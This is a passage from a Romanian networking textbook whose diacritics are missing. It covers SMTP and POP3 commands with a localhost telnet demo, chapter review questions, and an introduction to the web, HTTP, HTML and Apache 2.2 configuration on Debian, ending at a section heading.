corespunztor. Dac se dorete ca mesajul sa ajung la mai multe destinaii se va folosi comanda RCPT TO de mai multe ori. De remarcat este faptul c standardul permite ca adresele specificate prin comenzile MAIL FROM i RCPT TO s fie diferite de cele specificate de cmpurile From i To din corpul mesajului. Dar, dup cum s-a precizat, mesajele sunt livrate n funcie de informaiile transmise prin SMTP, nu de ceea ce apare n coninut. DATA - permite specificarea corpului mesajului. Acesta are o succesiune de linii, succesiune ncheiat cu caracterul . plasat singur pe o linie. Coninutul su ar trebui s fie conform formatului precizat n RFC 822 (2822), adic s conin cmpurile Date, Subject, To, Cc, From, dar nu este o cerin obligatorie impus de standardul SMTP. RSET - permite anularea tranzaciei curente. Serverul va terge buffer-ele alocate mesajului curent i va reveni n starea de dup HELO. Conexiunea cu clientul nu este ntrerupt. VRFY - permite verificarea validitii csuei potale pentru un utilizator specificat ca parametru. EXPN - permite verificarea dac o adres specificat este o list de discuii i, n caz afirmativ, afieaz membrii listei respective. NOOP - comand de testare a conexiunii. Nu se efectueaz nicio operaie; serverul trebuie s rspund cu 250 OK. QUIT - comand utilizat pentru ntreruperea conexiunii cu serverul. HELP - comand de ajutor.

8.9.2 Comenzi POP3. Citirea unui mesaj folosind POP3


Printre cele mai utilizate comenzi POP3 sunt urmtoarele: USER username/PASS password - sunt ntotdeauna primele comenzi folosite dup stabilirea conexiunii ntre clientul i serverul de POP3. Sunt folosite pentru autentificarea clientului la server. Dac informaiile de autentificare sunt corecte i serverul reuete s obin un lock asupra csuei potale (pentru a nu putea fi modificat de un alt client simultan), atunci ntoarce rspuns pozitiv. Comanda APOP este opional pentru serverele POP3 i a fost introdus din cauza inconvenientului comenzii PASS de a trimite parola n clar. Un mic exemplu de funcionare a protocolului POP3 (prin conectare la server pe portul 110 i utilizare telnet) este urmtorul:
mpls2@MPLS-2:~$ telnet localhost 110 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. +OK USER: mpls2 -ERR USER mpls2 +OK PASS parola2 +OK LIST +OK 1 831 2 505 3 521 . RETR 3 +OK Return-Path: <mpls2@MPLS-2.cs.pub.ro> X-Original-To: mpls2@localhost.localdomain Delivered-To: mpls2@localhost.localdomain Received: from test (localhost.localdomain [127.0.0.1]) by localhost.localdomain (Postfix) with SMTP id 9695E211F64 for <mpls2@localhost.localdomain>; Tue, 20 Sep 2005 12:37:35 +0300 (EEST) Message-Id: <20050920093735.9695E211F64@localhost.localdomain> Date: Tue, 20 Sep 2005 12:37:35 +0300 (EEST) From: mpls2@MPLS-2.cs.pub.ro To: undisclosed-recipients:; yet another simple message

307 | E - m a i l
. DELE 1 +OK LIST +OK 2 505 3 521 . QUIT +OK Connection closed by foreign host.

STAT - solicit serverului informaii despre csua potal a utilizatorului. Un rspuns pozitiv din partea serverului este +OK <numar_mesaje> <dimensiune_totala>. LIST - dac aceast comand este apelat fr niciun argument, serverul va afia informaii despre mesaje, cte o linie pentru fiecare. Comanda se poate apela i avnd ca argument un numr de mesaj, serverul returnnd n acest caz doar linia corespunztoare mesajului. Nu se poate invoca pentru mesajele marcate pentru tergere. RETR msg - afieaz coninutul mesajului msg; orice comand ulterioar cu referire la acest mesaj va genera o eroare. DELE msg - marcheaz mesajul msg pentru tergere; mesajele nu vor fi terse efectiv dect la nchiderea sesiunii. NOOP - clientul nu solicit nicio aciune, ci doar rspuns pozitiv din partea serverului. RSET - anuleaz marcajul de tergere pentru toate mesajele marcate. QUIT - serverul va terge toate mesajele marcate pentru tergere i va returna +OK sau ERR n funcie de reuita operaiei. HELP - comand de ajutor.

308 | R e e l e L o c a l e

ntrebri

1. Care afirmaii sunt adevrate n ceea ce privete sistemul de pot electronic? SMTP este protocolul utilizat ntre MTA (Mail Transfer Agent). SMTP este protocolul utilizat de ctre o aplicaie de tip MUA (Mail User Agent) pentru a transfera mesajele de pe server. SMTP utilizeaz portul 25. SMTP nu este folosit pentru pot electronic. 2. Pentru un server SMTP, termenul de relaying reprezint: a primi un mesaj care nu este destinat unui utilizator din domeniile gestionate de server i a-l transmite mai departe ctre destinaie. a primi un mesaj care este destinat unui utilizator din domeniile gestionate de server i a-l transmite mai departe ctre destinaie. termenul de relaying are sens n contextul unui Mail User Agent, nu al unui server SMTP. niciunul din rspunsurile de mai sus. 3. Protocolul IMAP permite (alegei 2 variante): gestiunea offline a mesajelor. structurarea pe directoare a mesajelor. transferul de mesaje ntre MTA (Mail Transfer Agent). accesarea doar a unei singure csute potale la un moment dat. 4. Care din urmtoarele variante NU este un server de IMAP? Postfix Courier Cyrus Dovecot 5. Care din urmtoarele directive NU este o directiv Postfix? home_mailbox sender_canonical_maps mynetworks mod_ssl 6. Care din urmtoarele porturi NU este asociat serviciului de e-mail? 53 993 25 587 7. Care din urmtoarele afirmaii despre Postfix este fals? este o aplicaie monolitic poate gestiona domenii virtuale are suport pentru formatul Maildir are suport pentru csue potale virtuale

309 | E - m a i l

8. Care este ordinea corect a transmiterii i accesrii unui mesaj? MUA, MTA, MTA, MDA, server IMAP, MUA MUA, MDA, MTA, MUA, MTA, server IMAP MUA, server IMAP, MTA, MDA, MTA MDA, MUA, MTA, server IMAP, MTA 9. Ce reprezint un domeniu virtual? un domeniu ai crui utilizatori nu exist efectiv pe server. un domeniu pentru care nu se face relay. un nume alternativ la serverului de mail. niciuna din variantele de mai sus. 10. Care este efectul urmtoarelor filtre n Procmail?
:0 ! test1@cs.pub.ro :0c * Subject:.*retele ! test2@cs.pub.ro

toate mesajele sunt forwardate ctre test1@cs.pub.ro. toate mesajele sunt forwardate ctre test1@cs.pub.ro i n plus, acele mesaje care conin n subiect cuvntul retele sunt forwardate ctre test2@cs.pub.ro. toate mesajele sunt forwardate ctre test1@cs.pub.ro i n plus, o copie a acelor mesaje care conin n subiect cuvntul retele sunt forwardate ctre test2@cs.pub.ro. niciuna dintre variantele de mai sus.

310 | R e e l e L o c a l e

9 World Wide Web


If you don't have an E-mail address, you're in the Netherworld. If you don't have your own World Wide Web page, you're a nobody. Clifford Stoll

Ce se nva din acest capitol?


Ce este World Wide Web-ul Care sunt tehnologiile fundamentale ale web-ului Cum funcioneaz serviciul de web Configurarea serverului de web Apache2.2 Configurarea IIS7 pe Windows

Cine este...
Sir Tim Berners-Lee este cercettorul creditat cu inventarea World Wide Web-ului. Pe 25 decembrie 1990 a realizat prima comunicaie HTTP n Internet ntre un server i un client. n prezent este directorul World Wide Web Consortium (W3C). Robert McCool este autorul webserver-ului NCSA HTTPd, ulterior cunoscut sub numele Apache HTTP Server. A scris prima versiune ca student la Universitatea din Illinois unde a lucrat cu echipa iniial a NCSA Mosaic (unul dintre primele browser-e web). A contribuit la specificaia iniial a Common Gateway Interface (CGI) care s-a dovedit a fi un element cheie n realizarea unui web dinamic. n prezent este dezvoltator la Yahoo!. Ward Cunningham este creatorul primului software de wiki numit WikiWikiWeb (1994). Software-ul de wiki a fost folosit iniial n interiorul companiei sale. A lucrat la Microsoft Corporation i la Eclipse Foundation iar in prezent este CTO la compania AboutUs. World Wide Web-ul este un spaiu de informaie n care elementele de interes, cunoscute sub numele de resurse, sunt recunoscute prin utilizarea unor identificatori globali, denumii URI (Uniform Resource Identifiers). Termenul nu trebuie confundat cu Internetul; web-ul este de fapt un serviciu care acioneaz deasupra Internetului.

9.1 Modul de funcionare a Web-ului


Resursele obinuite ale web-ului sunt denumite pagini web. Pentru accesarea unei pagini web sau a unei alte resurse se ncepe prin introducerea URL-ului asociat acelei pagini n browser, sau prin folosirea unui hyperlink ctre pagina respectiv. n mod evident, un pas anterior const n rezolvarea numelui serverului din URL ntr-o adresa IP folosind DNS. Urmtorul pas este transmiterea unei cereri HTTP ctre serverul web care funcioneaz la adresa IP rezolvat. Se solicit astfel pagina web (sau resursa) prezent n URL. O pagin web obinuit este, n cea mai mare parte, un fiier text n format HTML. n urma solicitrii, serverul web identific resursa i o transmite clientului. Clientul este chiar browser-ul. n continuare, sarcina browser-ului este de a reda pagina descris de fiierele HTML, CSS i alte fiiere, ncorpornd imagini, link-uri i alte resurse dup cum este necesar. Rezultatul este afiarea paginii solicitate n ecranul browser-ului. Majoritatea paginilor web vor conine hyperlink-uri ctre alte pagini, ctre fiiere care pot fi descrcate sau ctre alte resurse web. O astfel de colecie de resurse interconectate prin intermediul hyperlink-urilor a fost denumit un web de informaie. Posibilitatea accesrii i

311 | W o r l d W i d e W e b

folosirii acestor resurse n Internet a produs ceea ce Sir Tim Berners-Lee a denumit, la nceputul anilor 90, World Wide Web. Sir Tim Berners-Lee are meritul de a fi gsit soluia de succes care s structureze cantitatea vast de informaie din cadrul Internetului aprut ca urmare a extinderii acestuia la sfritul anilor '80 i nceputul anilor '90. Dup multe tentative nereuite de a organiza aceste informaii, Berners-Lee a gsit soluia care s-a impus, prin folosirea conceptului de hypertext la un loc cu Internetul. n acest proces el a dezvoltat un sistem de identificatori globali unici pentru resurse din Web: URI (Uniform Resource Identifiers).

9.1.1 Uniform Resource Locator (URL)


Un URL1 reprezint un format standardizat de adresare a resurselor de pe Internet. Un URL este de fapt un URI (Uniform Resource Identifier); altfel spuse, este un identificator al unei resurse. Fiind mai cunoscut, termenul de URL va fi folosit n continuare. URL-ul a fost o inovaie fundamental n istoria Internetului. Sintaxa a fost proiectat pentru a fi generic, extensibil i capabil s exprime adresele n orice set de caractere utiliznd un subset limitat de caractere ASCII. Un URL combin ntr-o adres simpl cele patru elemente de baz necesare pentru localizarea unei resurse oriunde n cadrul Internetului:
protocolul folosit n cadrul comunicaiei, serverul (host) cu care se comunic, portul de pe server folosit pentru conectare, calea ctre resursa de pe server (spre exemplu un nume de fiier).

Sintaxa folosit n cadrul URL-ului este protocol://server:port/cale. Dac se dorete i autentificare, sintaxa are formatul protocol://nume:parola@server:port/cale. Ultima form a sintaxei poate fi folosit, spre exemplu, la autentificarea pe site-uri FTP. Un exemplu de URL este cel de mai jos:
http://www.samplesite.org:80/pub/search.html?search=world&num=10

n acest exemplu:

http este protocolul; www.samplesite.org este serverul; 80 este portul folosit pentru conectarea la server (de vreme ce 80 este valoarea implicit

pentru protocolul HTTP, aceast poriune putea fi omis); /pub/search.html este calea ctre resurs; ?search=world&num=10 este irul de interogare (aceast parte este opional).

n absena cmpului protocol din URL, ntr-un browser se folosete implicit HTTP. De asemenea, ntruct portul 80 este cel implicit, n mod normal nu este specificat. Drept urmare, un utilizator va introduce numai un URL parial precum www.samplesite.org/ pub/search.html. Totodat, pentru a confirma relevana www ca serviciu n Internet, o nregistrare DNS cu cheia samplesite.org va avea, de obicei, asociat aceeai adres IP ca nregistrarea pentru www.samplesite.org. n acest fel, o bun parte din site-urile web pot fi accesate fr specificarea www n faa numelui de domeniu.

9.1.2 Hypertext Transfer Protocol


HTTP reprezint principala metod de obinere a informaiei n World Wide Web. Scopul iniial a fost crearea unei modaliti de publicare i transmitere de pagini HTML. Dezvoltarea HTTP a fost coordonat de World Wide Web Consortium i Internet Engineering Task Force, culminnd cu publicarea unei serii de RFC-uri, cel mai notabil RFC 2616, care descrie HTTP/1.1,
1

http://tools.ietf.org/html/rfc1738

312 | R e e l e L o c a l e

versiunea HTTP utilizat n aceste momente. Versiunea HTTP/1.1 aduce mai multe mbuntiri i caracteristici noi, dar rmne perfect compatibil cu HTTP/1.0. HTTP este un protocol de tip ntrebare/rspuns ntre clieni i servere. Un client web (de obicei un browser), stabilete o conexiune TCP pe un port al unei staii (portul implicit este portul 80). Un server HTTP ascult pe acel port i ateapt din partea clientului transmiterea unei cereri de forma:
GET /cale/catre/resursa HTTP/1.0

urmat de un mesaj de tip MIME coninnd un set de antete pentru descrierea cererii i un cmp opional de date. Unele antete sunt opionale, pe cnd altele, precum Host sunt obligatorii (pentru HTTP/1.1). Dup primirea cererii, serverul transmite clientului un ir de tip rspuns, cum ar fi 200 OK, i un mesaj reprezentnd fiierul cerut sau un mesaj de eroare sau alt informaie. Rspunsul trimis de server ncepe cu un cod ce indic tipul rspunsului, ncadrndu-se n urmtoarele categorii:

1xx: informare; 2xx: succes; 3xx: redirectare; 4xx: mesaj de interogare eronat; 5xx: eroare la nivelul serverului.

HTTP difer de alte protocoale care folosesc TCP (cum este FTP) prin ncheierea conexiunii dup ce o anumit cerere a fost satisfcut. Acest lucru face din HTTP protocolul ideal pentru World Wide Web, unde paginile au legturi ctre alte pagini pe alte servere. Lipsa unei conexiuni persistente impune programatorilor web folosirea unor metode alternative pentru a reine starea conexiunii. Printre acestea se numr cookies, variabile ascunse (n form-uri web) sau sesiuni pe server. O alt caracteristic important a HTTP este lipsa securitii comunicaiei. Acest lucru a condus la apariia HTTPS. HTTPS este versiunea securizat a HTTP, utiliznd SSL/TLS (Secure Sockets Layer/Transport Layer Security) pentru a proteja traficul. Protocolul folosete implicit portul 443. SSL, iniial creat pentru a proteja HTTP (dar folosit acum mpreun cu alte protocoale), este potrivit comunicaiilor HTTP ntruct poate asigura protecie chiar dac numai unul din membrii comunicaiei (serverul) este autentificat. Aceasta este situaia obinuit n cazul tranzaciilor HTTP pe Internet.

9.1.3 HyperText Markup Language


HTML face parte din categoria limbajelor descriptive (markup languages) i este folosit pentru crearea de pagini web i alte informaii care s poat fi redate ntr-un browser web. HTML este folosit pentru a structura informaia, descriind anumite poriuni de text ca antete, paragrafe, liste, etc., i poate fi folosit pentru a defini semantica unui document. Iniial definit de Sir Tim Berners Lee i apoi dezvoltat de IETF cu o sintax SGML simplificat, HTML este astzi un standard internaional. Specificaia HTML este meninut de World Wide Web Consortium (W3C). Primele versiuni de HTML erau definite cu reguli sintactice destul de permisive, aspect care a ajutat la adoptarea sa ctre cei care nu aveau familiaritate cu publicarea web. Browserele realizau diverse presupuneri despre intenia acestora i continuau cu redarea paginii respective. De-a lungul timpului, n cadrul standardelor oficiale, a aprut intenia de a crea o sintax de limbaj din ce n ce mai strict. Cu toate acestea, browser-ele continu s redea pagini care sunt departe de un format HTML valid.

313 | W o r l d W i d e W e b

Versiunea curent a specificaiei HTML este HTML 4.01. W3C a intenionat nlocuirea acestuia cu XHTML, care aplic regulile stricte ale XML n HTML. Adoptarea XHTML se realizeaz ntr-un ritm mai puin rapid, drept pentru care W3C dezvolt versiunea 5 a HTML. Tipurile de marcaje existente n HTML sunt:
marcaj structural - descrie scopul textului; spre exemplu <h2>Section</h2> direcioneaz browser-ul s redea Section ca un antet de nivel doi; marcaj de prezentare - descrie modul n care apare textul; de exemplu, <b>boldface</b> va reda boldface n text ngroat; marcaj hypertext - leag pri ale documentului ctre alte documente; spre exemplu, <a href=http://en.wikipedia.org>Wiki</a>, va reda irul Wiki ca un hyperlink ctre URL-ul specificat.

9.1.4 Clieni web


Ca majoritatea serviciilor din Internet, comunicaia prin HTTP se realizeaz folosind paradigma client-server. Clienii web sunt cunoscui sub numele de navigatoare web (browser-e). Browser-ul este o aplicaie care permite utilizatorului afiarea i interaciunea cu documente HTML gzduite pe anumite servere web sau meninute n cadrul unui sistem de fiiere. Printre cele mai cunoscute browser-e se numr Microsoft Internet Explorer, Mozilla Firefox, Opera i Safari. Un browser este cel mai cunoscut tip de user agent. Browser-ele web comunic cu serverele web folosind HTTP pentru obinerea de pagini web. HTTP permite browser-elor s solicite informaii serverelor web i s obin pagini web de la acestea. Paginile sunt localizate prin intermediul URL-ului. Formatul unei pagini web este de obicei cod HTML care este identificat n protocolul HTTP prin folosirea unui MIME content type. Browser-ele sunt renumite datorit rzboiului navigatoarelor (browser wars), competiie legat de dominarea pieei browser-elor. Termenul este folosit pentru dou perioade de timp: lupta dintre Internet Explorer i Netscape Navigator, la sfritul anilor '90, i creterea popularitii Mozilla Firefox, n detrimentul Internet Explorer, ncepnd cu anul 2004. Aceste rzboaie se rsfrng i asupra utilizatorilor, care prefer anumite browser-e n faa altora. n momentul scrierii acestei cri, Internet Explorer domin piaa browser-elor cu o pondere de 50%, urmat de Mozilla Firefox cu 45%. Sistemele Unix prezint i browser-e n linie de comand utile n cazul testrii rapide a unui site sau n absena interfeei grafice. Printre acestea se numr lynx, links, elinks, w3m.

9.1.5 Servere web


Un server web (server HTTP) este un serviciu/daemon care are rolul de a furniza documente clienilor web. Clientul web se va conecta la server i i va solicita acestuia o resurs necesar. Dei aplicaiile care implementeaz un server web difer n detaliu, conin aceleai caracteristici de baz. Fiecare server web accept o cerere HTTP din reea sau din Internet i furnizeaz un rspuns HTTP ctre solicitant. n general, rspunsul conine text HTML, dar poate fi un fiier text, o imagine, sau alt tip de document. Cele mai cunoscute servere web sunt:
Apache HTTP Server, de la Apache Software Foundation Internet Information Services (IIS), de la Microsoft Google Web Server de la Google Sun Java Web Server, de la Sun Microsystems Zeus Web Server, de la Zeus Technology

314 | R e e l e L o c a l e

9.1.5.1 Funcionarea unui server web


Serverele web translateaz componenta cale (path) din cadrul unui URL ntr-o resurs din sistemul local de fiiere. Calea specificat n URL de ctre client este relativ la directorul rdcin al serverului web (webroot). Spre exemplu, se presupune situaia n care un utilizator folosete URL-ul http://www.samplesite.org/pub/file.html. Dup introducerea acestui URL n bara de adrese a browser-ului, acesta l translateaz ntr-o conexiune ctre www.samplesite.org cu urmtoarea cerere HTTP 1.1:
GET /pub/file.html HTTP/1.1 Host: www.samplesite.org

Serverul web care ruleaz pe www.samplesite.org va concatena calea solicitat la directorul su rdcin (webroot). Pe un sistem Debian/Ubuntu care ruleaz un server Apache, directorul rdcin implicit este /var/www. Astfel, resursa solicitat de client va fi intrarea din sistemul local de fiiere /var/www/pub/file.html. n continuare, serverul web va citi fiierul i l va transmite clientului. Rspunsul va conine diverse antete necesare i fiierul efectiv. Imaginea urmtoare este o reprezentare grafic a modului de funcionare a unui server web:
utilizator MUA

U RL

GET /pub/file.html HTTP/1.1 Host: www.samplesite.org

HTTP 200 OK + resursa

/webroot/pub/file.htm l

server Web

sistem de fiiere

9-1: Funcionarea serviciului web

9.2

Apache HTTP Server

Apache HTTP Server este actualmente cel mai utilizat server de web. Conform sondajelor realizate de ctre NetCraft, n iunie 2008, 49.12% din serverele web rulau Apache 1. Dincolo de faptul c este principalul server web, cu o dominaie i mai accentuat pe sisteme Linux/UNIX, motive suplimentare pentru studierea Apache sunt i performana ridicat a acestuia, numrul mare de opiuni de configurare, posibilitatea adugrii de noi caracteristici (majoritatea sub form de module compilate), o serie de utilitare asociate i integrarea facil cu alte aplicaii. Versiunea Apache 2.x a fost o rescriere substanial a codului versiunii Apache 1.x, adugnd multe mbuntiri. Acestea includ folosirea thread-urilor UNIX, suport mbuntit
1

http://news.netcraft.com/archives/web_server_survey.html

315 | W o r l d W i d e W e b

pentru platforme non-UNIX (precum Windows), un nou API, suport IPv6, introducerea unui nivel de portabilitate, Apache Portable Runtime1. Versiunea stabil curent a serverului este 2.2.9. Setul de interfee de programare (API) pe care Apache l pune la dispoziie este cel care asigur extensibilitatea acestuia prin intermediul modulelor. Pachetul principal conine serverul HTTP, urmnd ca solicitrile suplimentare s fie satisfcute prin adugarea de noi module, precum mod_ssl, mod_perl, mod_php, mod_auth, etc. Versiunea de Apache folosit pe parcursul acestui capitol este 2.2, disponibil n versiunea stabil Debian Etch, n Debian Lenny i ultimele versiuni de Ubuntu.

9.2.1 Instalare
Instalarea versiunii Apache 2.x se realizeaz n mod obinuit folosind apt-get:
ragnarok:~# apt-get install apache2 Reading package lists... Done Building dependency tree... Done The following extra packages will be installed: apache2-mpm-worker apache2-utils apache2.2-common The following NEW packages will be installed: apache2 apache2-mpm-worker apache2-utils apache2.2-common 0 upgraded, 4 newly installed, 0 to remove and 0 not upgraded. Need to get 1765kB of archives. After unpacking 4547kB of additional disk space will be used. Do you want to continue [Y/n]? Y [...] Module authz_groupfile installed; run /etc/init.d/apache2 force-reload to enable. Module authn_file installed; run /etc/init.d/apache2 force-reload to enable. Module authz_host installed; run /etc/init.d/apache2 force-reload to enable. Setting up apache2-mpm-worker (2.2.3-4+etch1) ... Starting web server (apache2).... Setting up apache2 (2.2.3-4+etch1) ...

Exceptnd componentele de baz, se instaleaz i o serie de module i se pornete serverul. Dup cum se observ, se instaleaz 4 pachete. Acestea sunt:

apache2: conine interfaa control a serverului web; apache2-mpm-worker: conine implementarea de tip threading worker a serverului; apache2-util: conine o serie de utilitare folositoare unui server web (logresolve, htpasswd, rotatelogs, etc.); apache2.2-common: conine modulele Apache2 standard, incluznd suportul SSL.

9.2.2 Interaciunea cu serverul web


Exist mai multe posibiliti de a interaciona cu serverul:
comanda apache2 este principala interfa de lucru cu serverul Apache; aceasta permite pornirea, oprirea i repornirea serverului cu posibilitatea precizrii unor opiuni de configurare dinamic i a unor informaii despre server (lista de module compilate, lista de directive):
ragnarok:~# /usr/sbin/apache2 Usage: /usr/sbin/apache2 [-D name] [-d directory] [-f file] [-C "directive"] [-c "directive"] [-k start|restart|graceful|graceful-stop|stop] [-v] [-V] [-h] [-l] [-L] [-t] [-S] [...] ragnarok:~# apache2 -l Compiled in modules: core.c mod_log_config.c mod_logio.c worker.c http_core.c mod_so.c ragnarok:~# apache2 -k stop ragnarok:~# apache2 -k start ragnarok:~# apache2 -k restart

http://apr.apache.org/

316 | R e e l e L o c a l e comanda apache2ctl este o interfa de control a serverului Apache; este comanda preferat pentru pornirea i repornirea serverului, permind i verificarea corectitudinii fiierului de configurare:
ragnarok:/home/razvan# ragnarok:/home/razvan# ragnarok:/home/razvan# ragnarok:/home/razvan# Syntax OK apache2ctl apache2ctl apache2ctl apache2ctl stop start restart configtest

/etc/init.d/apache2 este un script care interfaeaz interaciunea cu serverul; poate fi

folosit pentru pornirea, repornirea, oprirea serverului, i pentru recitirea fiierului de configurare:
ragnarok:/home/razvan# /etc/init.d/apache2 Usage: /etc/init.d/apache2 {start|stop|restart|reload|force-reload} ragnarok:/home/razvan# /etc/init.d/apache2 stop Stopping web server (apache2).... ragnarok:/home/razvan# /etc/init.d/apache2 start Starting web server (apache2).... ragnarok:/home/razvan# /etc/init.d/apache2 restart Forcing reload of web server (apache2)... waiting . ragnarok:/home/razvan#

Fiierele

de

jurnalizare

pentru

server

sunt

/var/log/apache/error.log

/var/log/apache/access.log.

Fiierele de configurare se gsesc n directorul /etc/apache2/. Structura acestor fiiere va fi prezentat n continuare.

9.2.3 Configurare global


Dup cum s-a precizat, configurarea serverului Apache2 se realizeaz prin intermediul fiierelor din /etc/apache2/. Acest director conine mai multe intrri dup cum se poate vedea n listarea de mai jos. Dac la versiunea Apache1.x exista un singur fiier de configurare, nevoia de modularitate a condus la apariia mai multor intrri cu roluri bine stabilite. Fiierele de configurare conin directive simple1, precum:
User www-data

sau directive compuse, denumite i seciuni de configurare2, precum:


<Files ~ "^\.ht"> Order allow,deny Deny from all </Files>

Rolul fiecrei intrri din directorul /etc/apache2/ este:

apache2.conf conine configurrile globale pentru serverul Apache2; directivele din acest

fiier se refer la funcionarea serverului (numrul de procese deschise, intervale de timeout etc.) i la includerea de module care vor afecta toate domeniile administrate de server (virtual hosts); apache2.conf, fiind fiierul principal de configurare, include toate celelalte fiiere:
[] # Include module configuration: Include /etc/apache2/mods-enabled/*.load Include /etc/apache2/mods-enabled/*.conf # Include all the user configurations: Include /etc/apache2/httpd.conf # Include ports listing Include /etc/apache2/ports.conf # Include generic snippets of statements Include /etc/apache2/conf.d/ []

1 2

http://httpd.apache.org/docs/2.2/mod/quickreference.html http://httpd.apache.org/docs/2.2/sections.html

317 | W o r l d W i d e W e b
httpd.conf conine diferite configurri pentru utilizatori; ports.conf definete portul/porturile pe care serverul ascult conexiuni; envvars definete variabilele de mediu folosite de apachectl; conf.d/ conine fiiere de configurare pentru diverse servicii care folosesc Apache2; exemple

sunt servicii de webmail, navigare n repositories, wiki etc.; mods-available/ definete modulele Apache instalate n sistem; fiierele de aici au extensia .load, indicnd modulul care trebuie ncrcat; exist i fiiere .conf care definesc directive suplimentare de configurare pentru modul; mods-enabled/ definete modulele active pe durata rulrii serverului; fiierele de aici sunt legturi simbolice ctre fiierele din mods-available/; activarea unui modul se face, aadar, prin crearea unei legturi simbolice spre fiierul asociat din mods-available/ i repornirea serverului; se poate folosi utilitarul a2enmod; sites-available/ definete domeniile pentru care serverul poate fi configurat s rspund la cereri; este folosit pentru virtual hosting; n prim faz serverul definete un singur domeniu (cel implicit) n cadrul fiierului cu numele default; sites-enabled/ definete domeniile (virtual hosts) pentru care serverul rspunde la cereri; ca i n cazul modulelor, fiierul asociat unui domeniu este o legtur simbolic spre fiierul din sites-available/; adugarea unui nou domeniu se face prin crearea instanei asociate n sites-available/; activarea acelui domeniu se face prin crearea unei legturi simbolice n sites-enabled/ i repornirea serverului; se recomand folosirea utilitarului a2ensite.

ATENIE: Fiierele specificate sunt specifice distribuiilor Debian/Ubuntu. Dei alte distribuii au, de asemenea, o structur a fiierelor de configurare, locaia i denumirea acestora pot diferi.

9.2.3.1 Configurarea domeniului implicit


Dup cum s-a precizat, domeniile gestionate de Apache sunt servite prin intermediul virtual hosts. n prim faz Apache gestioneaz un domeniu implicit definit n fiierul /etc/apache/sites-available/default. Activarea acestui domeniu este implicit prin existena legturii simbolice /etc/apache/sites-enabled/000-default. Coninutul implicit al fiierului /etc/apache/sites-available/default este
prezentat n continuare:
ragnarok:~# cat /etc/apache2/sites-enabled/000-default NameVirtualHost * <VirtualHost *> ServerAdmin webmaster@localhost DocumentRoot /var/www/ <Directory /> Options FollowSymLinks AllowOverride None </Directory> <Directory /var/www/> Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all # This directive allows us to have apache2's default start page # in /apache2-default/, but still have / go to the right place RedirectMatch ^/$ /apache2-default/ </Directory> [...] ErrorLog /var/log/apache2/error.log [...] </VirtualHost>

Nu se va insista asupra directivelor legate de virtual hosting ntruct vor fi prezentate n seciunea TODO. O directiv important este DocumentRoot. Aceasta precizeaz directorul rdcin (webroot) de unde vor fi recuperate resursele cerute de clieni. Directorul rdcin pentru

318 | R e e l e L o c a l e

domeniul implicit este /var/www. Acest lucru nseamn c o cerere de forma GET /cale/catre/resursa HTTP/1.0 va impune serverului transmiterea fiierului
/var/www/cale/catre/resursa ctre client. Directiva Directory specific proprieti pentru /var/www, directiva specific proprietile de mai jos:
Options Indexes FollowSymLinks MultiViews

un anumit director. Pentru directorul

Directiva Options impune folosirea fiierelor index din director *vezi 9.2.3.2+, urmrirea legturilor simbolice existente n director i adugarea unei extensii la cale.
AllowOverride None

Directiva AllowOverride este folosit n tandem cu fiierul .htaccess care configureaz drepturi de acces n Apache [vezi 9.2.3.5+. Aceasta precizeaz care directive definite n fiierul .htaccess pot suprascrie alte directive. n cazul de fa, folosirea None face inutil prezena unui fiier .htaccess.
Order allow,deny allow from all

Directivele allow i deny sunt folosite pentru a permite sau refuza accesul la director. Directiva Order indic ordinea n care acestea vor fi evaluate. Dac ar exista o directiv deny from all, atunci orice acces ar fi refuzat pentru c directiva deny este analizat ultima.
RedirectMatch ^/$ /apache2-default/

Directiva RedirectMatch realizeaz redirectarea pentru o cale ctre resurs dat. n cazul de fa se realizeaz redirectarea pentru resursa /. Acest lucru nseamn ca o cerere de forma GET / HTTP/1.0 va fi echivalent cu cererea GET /apache2-default/ HTTP/1.0. Dup cum se observ, cile ctre resurse din cererile HTTP pot fi date sub form de directoare. n aceast situaie serverul web are dou variante de rspuns:
transmiterea coninutului directorului; transmiterea unei resurse implicite, n cazul n care aceasta se afl n director.

A doua variant are prioritate n faa primei. Resursa implicit este, de obicei, un fiier cu numele index.html sau altul precizat prin directiva DirectoryIndex din modulul mod_dir. Mai multe detalii sunt precizate n seciunea 9.2.3.2. Un lucru de reinut este faptul c directivele prezente n cadrul directivei compuse <VirtualHost> ... </VirtualHost> pot suprascrie directivele din fiierul global de configurare /etc/apache/apache2.conf. n cazul de fa, s-a specificat fiierul de jurnalizare a erorilor pentru domeniul gestionat implicit:
ErrorLog /var/log/apache2/error.log

9.2.3.2 Configurare module


Facilitile de baz ale serverului Apache pot fi extinse prin intermediul modulelor. Modulele de baz sunt instalate prin intermediul pachetului apache2-common. Fiecare modul este de fapt o bibliotec partajat; fiierul asociat are extensia .so. Pentru adugarea unui modul se folosete directiva LoadModule. Un modul are asociat un fiier .load n care se folosete directiva LoadModule. Acest fiier se gsete n directorul /etc/apache2/mods-available/. De exemplu, fiierul asociat modulului SSL este /etc/apache2/mods-available/ssl.load:
ragnarok:~# cat /etc/apache2/mods-available/ssl.load LoadModule ssl_module /usr/lib/apache2/modules/mod_ssl.so

319 | W o r l d W i d e W e b

Biblioteca partajat asociat este /usr/lib/apache2/modules/mod_ssl.so. De obicei, numele biblioteci este mod_nume.so, unde nume este numele modulului. Unele module, precum SSL, au asociate un fiier de configurare cu extensia .conf. Un astfel de fiier de configurare conine directive specifice modulului respectiv:
ragnarok:~# cat /etc/apache2/mods-available/ssl.conf <IfModule mod_ssl.c> [...] SSLRandomSeed startup builtin SSLRandomSeed startup file:/dev/urandom 512 SSLRandomSeed connect builtin SSLRandomSeed connect file:/dev/urandom 512 [...] </IfModule>

/etc/apache2/mods-enabled/ ctre fiierul .load i, eventual, .conf available/. Se recomand folosirea utilitarului a2enmod:

Pentru ca un modul s fie utilizat de serverul web se creeaz o legtur simbolic n din directorul modsragnarok:~# a2enmod ssl Module ssl installed; run /etc/init.d/apache2 force-reload to enable.

Configurarea unui modul, realizat fie n fiiere .conf specializate sau fiiere globale, folosete directive ncadrate de directiva IfModule. Directiva IfModule testeaz dac modulul respectiv este ncrcat n server. Astfel, pentru a configura mod_ssl se folosete o construcie de forma:
<IfModule mod_userdir.c> ... </IfModule>

iar pentru a configura mod_alias se folosete o construcie de forma:


<IfModule mod_alias.c> ... </IfModule>

n continuare sunt prezentate cteva aspecte ale configurrii unor module importante Apache: mod_dir, mod_alias, mod_userdir, mod_cgi.

9.2.3.2.1 Configurare fiiere index


